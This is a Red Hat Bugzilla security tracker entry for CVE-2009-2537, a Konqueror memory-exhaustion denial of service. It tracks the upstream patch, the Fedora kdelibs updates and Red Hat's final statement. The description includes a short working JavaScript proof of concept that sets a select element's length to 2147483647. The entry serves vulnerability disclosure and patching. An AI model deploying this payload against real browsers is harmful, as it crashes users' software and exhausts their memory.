Bug 512911 (CVE-2009-2537)

Summary:	CVE-2009-2537 Konqueror: DoS via large length property of a Select object
Product:	[Other] Security Response	Reporter:	Jan Lieskovsky <jlieskov>
Component:	vulnerability	Assignee:	Red Hat Product Security <security-response-team>
Status:	CLOSED ERRATA	QA Contact:
Severity:	low	Docs Contact:
Priority:	low
Version:	unspecified	CC:	jreznik, kevin, kreilly, ltinkl, than
Target Milestone:	---	Keywords:	Security
Target Release:	---
Hardware:	All
OS:	Linux
URL:	http://www.securityfocus.com/archive/1/504969/100/0/threaded
Whiteboard:
Fixed In Version:		Doc Type:	Bug Fix
Doc Text:		Story Points:	---
Clone Of:		Environment:
Last Closed:	2009-08-06 15:12:52 UTC	Type:	---
Regression:	---	Mount Type:	---
Documentation:	---	CRM:
Verified Versions:		Category:	---
oVirt Team:	---	RHEL 7.3 requirements from Atomic Host:
Cloudforms Team:	---	Target Upstream Version:
Embargoed:
Bug Depends On:	514475, 514476, 514477, 514478, 514479
Bug Blocks:

Description Jan Lieskovsky 2009-07-21 10:14:22 UTC

Common Vulnerabilities and Exposures assigned an identifier of CVE-2009-2537 to
the following vulnerability:

KDE Konqueror allows remote attackers to cause a denial of service
(memory consumption) via a large integer value for the length property
of a Select object, a related issue to CVE-2009-1692.

References:
-----------
http://www.securityfocus.com/archive/1/archive/1/504989/100/0/threaded
http://www.securityfocus.com/archive/1/archive/1/504988/100/0/threaded
http://www.securityfocus.com/archive/1/archive/1/504969/100/0/threaded
http://www.securityfocus.com/archive/1/archive/1/505006/100/0/threaded
http://www.milw0rm.com/exploits/9160
http://www.g-sec.lu/one-bug-to-rule-them-all.html

Credit: Thierry Zoller 
-------

Proof of Concept:
----------------
<script>
function poc(o) {
e = document.createElement("select");
e.length=2147483647;
}

function go() {
poc(0);
}
</script>

URL: 
----
http://www.crashthisthing.com/select.html

Upstream patch:
---------------
http://websvn.kde.org/?view=rev&revision=1001060

Comment 1 Jaroslav Reznik 2009-07-21 11:37:34 UTC

I can confirm on KHTML 4.2.4, 3.5.4.

Comment 13 Fedora Update System 2009-07-26 08:29:33 UTC

kdelibs-4.2.4-6.fc11 has been submitted as an update for Fedora 11.
http://admin.fedoraproject.org/updates/kdelibs-4.2.4-6.fc11

Comment 14 Fedora Update System 2009-07-26 08:31:08 UTC

kdelibs-4.2.4-6.fc10 has been submitted as an update for Fedora 10.
http://admin.fedoraproject.org/updates/kdelibs-4.2.4-6.fc10

Comment 15 Fedora Update System 2009-07-26 08:35:14 UTC

kdelibs3-3.5.10-13.fc11 has been submitted as an update for Fedora 11.
http://admin.fedoraproject.org/updates/kdelibs3-3.5.10-13.fc11

Comment 16 Fedora Update System 2009-07-26 08:45:17 UTC

kdelibs3-3.5.10-13.fc10 has been submitted as an update for Fedora 10.
http://admin.fedoraproject.org/updates/kdelibs3-3.5.10-13.fc10

Comment 17 Kevin Kofler 2009-07-26 08:55:52 UTC

My backported patch against KDE 3.5.10, may be useful for the RHEL update:
http://cvs.fedoraproject.org/viewvc/rpms/kdelibs3/devel/kdelibs-3.5.10-cve-2009-2537-select-length.patch?revision=1.1&view=markup

But be warned that the only testing I did was "it compiles".

Comment 18 Fedora Update System 2009-07-28 18:23:15 UTC

kdelibs-4.2.4-6.fc11 has been pushed to the Fedora 11 stable repository.  If problems still persist, please make note of it in this bug report.

Comment 19 Fedora Update System 2009-07-28 18:26:46 UTC

kdelibs-4.2.4-6.fc10 has been pushed to the Fedora 10 stable repository.  If problems still persist, please make note of it in this bug report.

Comment 20 Fedora Update System 2009-07-28 18:27:27 UTC

kdelibs3-3.5.10-13.fc11 has been pushed to the Fedora 11 stable repository.  If problems still persist, please make note of it in this bug report.

Comment 21 Fedora Update System 2009-07-28 18:28:03 UTC

kdelibs3-3.5.10-13.fc10 has been pushed to the Fedora 10 stable repository.  If problems still persist, please make note of it in this bug report.

Comment 24 Jan Lieskovsky 2009-08-06 14:30:34 UTC

Official statement from Red Hat Security Response Team regarding this issue:
----------------------------------------------------------------------------

We do not consider a user-assisted crash of a client application such as
Konqueror to be a security issue.